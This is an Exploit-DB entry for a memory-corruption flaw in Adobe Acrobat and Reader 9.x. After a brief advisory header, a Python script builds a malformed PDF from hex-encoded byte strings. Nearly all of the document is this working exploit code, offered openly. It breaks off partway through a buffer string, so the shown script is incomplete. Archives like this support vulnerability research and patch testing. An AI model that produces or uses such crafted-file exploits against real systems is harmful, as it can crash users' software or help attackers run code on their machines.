Exploit-DB #34528
Description: Adobe Acrobat and Reader 9.3.4 - 'AcroForm.api' Memory Corruption
Type: dos
Platform: multiple
Date: 2010-08-25
Author: ITSecTeam

Exploit:
source: https://www.securityfocus.com/bid/42701/info

Adobe Acrobat and Reader are prone to a remote memory-corruption vulnerability.

Attackers can exploit this issue to execute arbitrary code or cause denial-of-service conditions.

#!user/bin/python

_doc_ = '''
-------------------------------------------------------------------------
title : Adobe Acrobat Reader memory coroption
Product: Adobe Acrobat Reader
Version: 7.x, 8.x, 9.x
Tested : 8.1 - 9.3.3
Product Homepage: www.adobe.com
Tested Os : Windows XP SP1/SP3 EN 
			  Windows Seven
AUTHOR  : ITSecTeam
Email   : Bug@ITSecTeam.com
Website : http://www.itsecteam.com
Forum   : http://forum.ITSecTeam.com
By      : Erfan Omidfar (black.hat) - Hoshang jafari (PLATEN)
--------------------------------------------------------------------------
'''
import sys


def main():
	buffer = "\x25\x50\x44\x46\x2d\x31\x2e\x37\x0d\x0a\x35\x20\x30\x20\x6f\x62\x6a\x0d\x0a\x3c\x3c\x20\x2f\x54\x79\x70\x65\x20\x2f\x50\x61\x67\x65\x20\x2f\x50\x61\x72\x65\x6e\x74\x20\x31\x20\x30\x20\x52\x20\x2f\x4c\x61\x73\x74\x4d\x6f\x64\x69\x66\x69\x65\x64\x20\x28\x44\x3a\x32\x30\x31\x30\x30\x38\x31\x32\x31\x31\x34\x35\x31\x31\x20\x30\x34\x27\x33\x30\x27\x29\x20\x2f\x52\x65\x73\x6f\x75\x72\x63\x65\x73\x20\x32\x20\x30\x20\x52\x20\x2f\x4d\x65\x64\x69\x61\x42\x6f\x78\x20\x5b\x30\x2e\x30\x30\x20\x30\x2e\x30\x30\x20\x35\x39\x35\x2e\x32\x38\x20\x38\x34\x31\x2e\x38\x39\x5d\x20\x2f\x43\x72\x6f\x70\x42\x6f\x78\x20\x5b\x30\x2e\x30\x30\x20\x30\x2e\x30\x30\x20\x35\x39\x35\x2e\x32\x38\x20\x38\x34\x31\x2e\x38\x39\x5d\x20\x2f\x42\x6c\x65\x65\x64\x42\x6f\x78\x20\x5b\x30\x2e\x30\x30\x20\x30\x2e\x30\x30\x20\x35\x39\x35\x2e\x32\x38\x20\x38\x34\x31\x2e\x38\x39\x5d\x20\x2f\x54\x72\x69\x6d\x42\x6f\x78\x20\x5b\x30\x2e\x30\x30\x20\x30\x2e\x30\x30\x20\x35\x39\x35\x2e\x32\x38\x20\x38\x34\x31\x2e\x38\x39\x5d\x20\x2f\x41\x72\x74\x42\x6f\x78\x20\x5b\x30\x2e\x30\x30\x20\x30\x2e\x30\x30\x20\x35\x39\x35\x2e\x32\x38\x20\x38\x34\x31\x2e\x38\x39\x5d\x20\x2f\x43\x6f\x6e\x74\x65\x6e\x74\x73\x20\x36\x20\x30\x20\x52\x20\x2f\x52\x6f\x74\x61\x74\x65\x20\x30\x20\x2f\x47\x72\x6f\x75\x70\x20\x3c\x3c\x20\x2f\x54\x79\x70\x65\x20\x2f\x47\x72\x6f\x75\x70\x20\x2f\x53\x20\x2f\x54\x72\x61\x6e\x73\x70\x61\x72\x65\x6e\x63\x79\x20\x2f\x43\x53\x20\x2f\x44\x65\x76\x69\x63\x65\x52\x47\x42\x20\x3e\x3e\x20\x2f\x41\x6e\x6e\x6f\x74\x73\x20\x5b\x20\x33\x20\x30\x20\x52\x20\x34\x20\x30\x20\x52\x20\x5d\x20\x2f\x50\x5a\x20\x31\x20\x3e\x3e\x0d\x0a\x65\x6e\x64\x6f\x62\x6a\x0d\x0a\x36\x20\x30\x20\x6f\x62\x6a"

	buffer += "\n<</Filter /FlateDecode /Length 276>> stream\n"
	buffer += "\x78\x9C\xBD\x53\x4D\x6B\xC2\x40\x10\xBD\xEF\xAF\x78\x47\x3D\x74\xB2\xB3\x71\x35\xB9\x1A\xA3\x20\x94\x6A\xBB\x37\xF5\xD2\x46\x03\x62\xB1\x86\xC2\xD2\x7F\xDF\x49\x4A\x24\x2D\x16\x92\x50\x7A\x98\x59\x76\xE6\xBD\x99\xDD\xF9\xD0\x64\x27\xF0\xD0\x58\x8A\x1C\xB1\xD9\xC9\x91\x89\x2C\x44\x72\x35\x75\x08\xE6\x0C\x36\xA4\x35\xDC\x01\xA9\x53\xBA\x2B\xE1\x72\xCB\x58\x99\x0C\xB8\x6D\xDC\x6B\x8C\xB6\x84\x0B\xB4\x40\xF5\x37\x5D\xE4\x90\x30\xC2\x2F\x2A\x83\x90\x53\x57\x5A\xD8\x18\xE2\x08\x51\x18\x13\x8B\x37\xC3\x66\x80\xE1\x0E\x6E\x59\xFA\xD7\x92\x28\xB2\x3F\x12\x95\xEC\xEC\x46\x86\xC7\x05\x6A\xB8\x69\x07\x2F\xDF\x5A\x43\x95\x89\x28\xB4\xF2\x0E\x4B\x23\xC6\x2B\xEC\x78\x4C\x71\x58\xDF\x4F\x78\xEA\x18\x5C\xA9\x75\x9F\x76\x05\x0F\x09\x44\x0C\xA6\xB3\xA4\x47\xDD\xB9\xCA\xDE\xD4\xBF\xD5\xDD\x50\x14\x0A"
	buffer += "\x84\xED\x57\xCD\x57\x67\xBF\x2F\xF6\x19\x9E\x3F\xE0\x92\xD5\x6C\x8E\xED\xC0\x7B\x4F\xEF\x2F\x6F\xD9\x81\xCE\x45\xBE\x1D\x36\x9A\x92\xDE\x27\xBD\xBE\xA7\xFE\x68\x80\xFF\x7B\x28\x2A\xF8\x75\x24\xAA\x5B\x8F\x81\xE8\xB2\x15\x56\x8F\x88\x63\xDC\x31\xD3\xA4\xDE\x0A\x0A"
	buffer += "\x46\x00\x6E\x74\xA1\x4F\x03\x3E\x01\x4B\xF1\xEE\x69\x0A\x0A"
	buffer += "\nendstream"

	buffer += "\n\x31\x20\x30\x20\x6f\x62\x6a\x0d\x0a\x3c\x3c\x20\x2f\x54\x79\x70\x65\x20\x2f\x50\x61\x67\x65\x73\x20\x2f\x4b\x69\x64\x73\x20\x5b\x20\x35\x20\x30\x20\x52\x20\x5d\x20\x2f\x43\x6f\x75\x6e\x74\x20\x31\x20\x3e\x3e\x0d\x0a\x65\x6e\x64\x6f\x62\x6a"

	buffer += "\n7 0 obj\n"
	buffer += "\x3C\x3C\x20\x2F\x54\x79\x70\x65\x20\x2F\x4F\x43\x47\x20\x2F\x4E\x61\x6D\x65\x20\x28\xFE\xFF\x00\x70\x00\x72\x00\x69\x00\x6E\x00\x74\x29\x20\x2F\x55\x73\x61\x67\x65\x20\x3C\x3C\20\x2F\x50\x72\x69\x6E\x74\x20\x3C\x3C\x2F\x50\x72\x69\x6E\x74\x53\x74\x61\x74\x65\x20\x2F\x4F\x4E\x3E\x3E\x20\x2F\x56\x69\x65\x77\x20\x3C\x3C\x2F\x56\x69\x65\x77\x53\x74\x61\x74\x65\x20\x2F\x4F\x46\x46\x3E\x3E\x20\x3E\x3E\x20\x3E\x3E\x0A"
	buffer += "\nendobj"
	buffer += "\n8 0 obj\n"
	buffer += "\x3C\x3C\x20\x2F\x54\x79\x70\x65\x20\x2F\x4F\x43\x47\x20\x2F\x4E\x61\x6D\x65\x20\x28\xFE\xFF\x00\x76\x00\x69\x00\x65\x00\x77\x29\x20\x2F\x55\x73\x61\x67\x65\x20\x3C\x3C\x20\x2F\x50\x72\x69\x6E\x74\x20\x3C\x3C\x2F\x50\x72\x69\x6E\x74\x53\x74\x61\x74\x65\x20\x2F\x4F\x46\x46\x3E\x3E\x20\x2F\x56\x69\x65\x77\x20\x3C\x3C\x2F\x56\x69\x65\x77\x53\x74\x61\x74\x65\x20\x2F\x4F\x4E\x3E\x3E\x20\x3E\x3E\x20\x3E\x3E\x0A"
	buffer += "\nendobj"

	buffer += "\n\x39\x20\x30\x20\x6f\x62\x6a\x0d\x0a\x3c\x3c\x2f\x54\x79\x70\x65\x20\x2f\x46\x6f\x6e\x74\x20\x2f\x53\x75\x62\x74\x79\x70\x65\x20\x2f\x54\x79\x70\x65\x31\x20\x2f\x42\x61\x73\x65\x46\x6f\x6e\x74\x20\x2f\x48\x65\x6c\x76\x65\x74\x69\x63\x61\x20\x2f\x4e\x61\x6d\x65\x20\x2f\x46\x31\x20\x2f\x45\x6e\x63\x6f\x64\x69\x6e\x67\x20\x2f\x57\x69\x6e\x41\x6e\x73\x69\x45\x6e\x63\x6f\x64\x69\x6e\x67\x20\x3e\x3e\x0d\x0a\x65\x6e\x64\x6f\x62\x6a\x0d\x0a\x31\x30\x20\x30\x20\x6f\x62\x6a\x0d\x0a\x3c\x3c\x2f\x54\x79\x70\x65\x20\x2f\x46\x6f\x6e\x74\x20\x2f\x53\x75\x62\x74\x79\x70\x65\x20\x2f\x54\x79\x70\x65\x31\x20\x2f\x42\x61\x73\x65\x46\x6f\x6e\x74\x20\x2f\x48\x65\x6c\x76\x65\x74\x69\x63\x61\x2d\x42\x6f\x6c\x64\x20\x2f\x4e\x61\x6d\x65\x20\x2f\x46\x32\x20\x2f\x45\x6e\x63\x6f\x64\x69\x6e\x67\x20\x2f\x57\x69\x6e\x41\x6e\x73\x69\x45\x6e\x63\x6f\x64\x69\x6e\x67\x20\x3e\x3e\x0d\x0a\x65\x6e\x64\x6f\x62\x6a\x0d\x0a\x31\x31\x20\x30\x20\x6f\x62\x6a\x0d\x0a\x3c\x3c\x2f\x54\x79\x70\x65\x20\x2f\x46\x6f\x6e\x74\x20